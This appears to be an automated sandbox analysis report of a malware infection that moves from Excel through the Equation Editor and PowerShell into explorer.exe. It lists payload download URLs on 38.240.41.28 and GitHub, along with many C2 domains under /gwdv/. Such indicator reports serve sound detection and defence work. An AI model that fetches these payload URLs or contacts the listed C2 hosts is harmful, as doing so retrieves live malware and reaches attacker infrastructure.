Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49170

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: www.my-tournament.live
Source: C:\Windows\explorer.exe	Domain query: www.senior-dating-73474.bond

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: www.lefeetlab.net/gwdv/

Source: global traffic	HTTP traffic detected: GET /NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /333/RCCRER.txt HTTP/1.1Host: 38.240.41.28Connection: Keep-Alive

Source: Joe Sandbox View

IP Address: 185.199.108.133 185.199.108.133

Source: Joe Sandbox View	ASN Name: TTSLMEIS-AS-APTTSL-ISPDIVISIONIN TTSLMEIS-AS-APTTSL-ISPDIVISIONIN
Source: Joe Sandbox View	ASN Name: COGENT-174US COGENT-174US

Source: Joe Sandbox View	JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Source: Joe Sandbox View	JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: global traffic	HTTP traffic detected: GET /a080 HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: m2g.meConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /333/erf/sweetnessisbthebesttoolevermadefromthehumanmouthwhichfoundverylongtimebeforesweetnessgivinghappinessandentirethingsforhumanwhohave_______nicebeautifulwords.doc HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 38.240.41.28Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /333/wegivenewthingssoonsweetness.tIF HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 38.240.41.28Connection: Keep-Alive

Source: unknown	HTTPS traffic detected: 14.194.50.211:443 -> 192.168.2.22:49164 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 14.194.50.211:443 -> 192.168.2.22:49165 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 14.194.50.211:443 -> 192.168.2.22:49166 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 14.194.50.211:443 -> 192.168.2.22:49167 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.22:49171 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 14.194.50.211:443 -> 192.168.2.22:49172 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 14.194.50.211:443 -> 192.168.2.22:49173 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 38.240.41.28

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2189D102.emf

Source: global traffic	HTTP traffic detected: GET /a080 HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: m2g.meConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /333/erf/sweetnessisbthebesttoolevermadefromthehumanmouthwhichfoundverylongtimebeforesweetnessgivinghappinessandentirethingsforhumanwhohave_______nicebeautifulwords.doc HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 38.240.41.28Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /333/wegivenewthingssoonsweetness.tIF HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 38.240.41.28Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /333/RCCRER.txt HTTP/1.1Host: 38.240.41.28Connection: Keep-Alive

Source: powershell.exe, 0000000F.00000002.493641023.0000000005151000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: m2g.me
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: www.my-tournament.live
Source: global traffic	DNS traffic detected: DNS query: www.senior-dating-73474.bond

Source: powershell.exe, 0000000F.00000002.481286410.0000000002737000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.240.41.28
Source: powershell.exe, 0000000F.00000002.481286410.0000000002737000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.240.41.28/333/RCCRER.txt
Source: EQNEDT32.EXE, EQNEDT32.EXE, 0000000A.00000002.457404103.0000000000914000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 0000000A.00000002.457404103.0000000000939000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 0000000A.00000002.457404103.000000000097F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 0000000A.00000003.456752146.000000000097F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://38.240.41.28/333/wegivenewthingssoonsweetness.tIF
Source: EQNEDT32.EXE, 0000000A.00000002.457404103.000000000097F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 0000000A.00000003.456752146.000000000097F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://38.240.41.28/333/wegivenewthingssoonsweetness.tIFC:
Source: EQNEDT32.EXE, 0000000A.00000002.457404103.0000000000939000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://38.240.41.28/333/wegivenewthingssoonsweetness.tIFj
Source: powershell.exe, 0000000F.00000002.493641023.0000000005151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 0000000F.00000002.493641023.0000000005151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: powershell.exe, 0000000F.00000002.493641023.0000000005151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: powershell.exe, 0000000F.00000002.493641023.0000000005151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: powershell.exe, 0000000F.00000002.493641023.0000000005151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: aspnet_regbrowsers.exe, 00000011.00000002.490337170.0000000005DD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsMR
Source: powershell.exe, 0000000F.00000002.493641023.0000000005151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: powershell.exe, 0000000F.00000002.493641023.0000000005151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: powershell.exe, 0000000F.00000002.481286410.0000000002B95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: explorer.exe, 00000017.00000000.486184316.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.637462841.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://java.sun.com
Source: powershell.exe, 0000000F.00000002.486232559.00000000034B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000F.00000002.493641023.0000000005151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: powershell.exe, 0000000F.00000002.493641023.0000000005151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: powershell.exe, 0000000F.00000002.493641023.0000000005151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: powershell.exe, 0000000F.00000002.493641023.0000000005151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: powershell.exe, 0000000F.00000002.493641023.0000000005151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: powershell.exe, 0000000F.00000002.493641023.0000000005151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: powershell.exe, 0000000F.00000002.493641023.0000000005151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: powershell.exe, 0000000C.00000002.501592598.0000000002340000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.481286410.0000000002491000.00000004.00000800.00020000.00000000.sdmp, aspnet_regbrowsers.exe, 00000011.00000002.487220752.0000000002281000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000F.00000002.486232559.00000000035F9000.00000004.00000800.00020000.00000000.sdmp, aspnet_regbrowsers.exe, 00000011.00000002.486215001.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/kursovaSQLDataSet.xsd
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.3dnu3uix.college
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.3dnu3uix.college/gwdv/
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.3dnu3uix.college/gwdv/www.nasocnite.xyz
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.3dnu3uix.collegeReferer:
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.accountingcourse06.shop
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.accountingcourse06.shop/gwdv/
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.accountingcourse06.shop/gwdv/www.highercall.net
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.accountingcourse06.shopReferer:
Source: explorer.exe, 00000017.00000000.486184316.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.637462841.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.blackwavetattoostudio.com
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.blackwavetattoostudio.com/gwdv/
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.blackwavetattoostudio.com/gwdv/www.spanish-classes-13883.bond
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.blackwavetattoostudio.comReferer:
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.boyxlife.cyou
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.boyxlife.cyou/gwdv/
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.boyxlife.cyou/gwdv/www.blackwavetattoostudio.com
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.boyxlife.cyouReferer:
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.dental-implants-84866.bond
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.dental-implants-84866.bond/gwdv/
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.dental-implants-84866.bond/gwdv/www.boyxlife.cyou
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.dental-implants-84866.bondReferer:
Source: powershell.exe, 0000000F.00000002.493641023.0000000005151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: powershell.exe, 0000000F.00000002.493641023.0000000005151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.divineworks.store
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.divineworks.store/gwdv/
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.divineworks.store/gwdv/www.lingerie-16071.bond
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.divineworks.storeReferer:
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.highercall.net
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.highercall.net/gwdv/
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.highercall.net/gwdv/www.incronizid.dev
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.highercall.netReferer:
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.incronizid.dev
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.incronizid.dev/gwdv/
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.incronizid.dev/gwdv/www.lefeetlab.net
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.incronizid.devReferer:
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.intelliflow.run
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.intelliflow.run/gwdv/
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.intelliflow.run/gwdv/www.3dnu3uix.college
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.intelliflow.runReferer:
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.lefeetlab.net
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.lefeetlab.net/gwdv/
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.lefeetlab.net/gwdv/www.dental-implants-84866.bond
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.lefeetlab.netReferer:
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.lingerie-16071.bond
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.lingerie-16071.bond/gwdv/
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.lingerie-16071.bond/gwdv/www.accountingcourse06.shop
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.lingerie-16071.bondReferer:
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.lmodt.info
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.lmodt.info/gwdv/
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.lmodt.info/gwdv/www.divineworks.store
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.lmodt.infoReferer:
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.my-tournament.live
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.my-tournament.live/gwdv/
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.my-tournament.live/gwdv/www.senior-dating-73474.bond
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.my-tournament.liveReferer:
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.nasocnite.xyz
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.nasocnite.xyz/gwdv/
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.nasocnite.xyz/gwdv/P
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.nasocnite.xyzReferer:
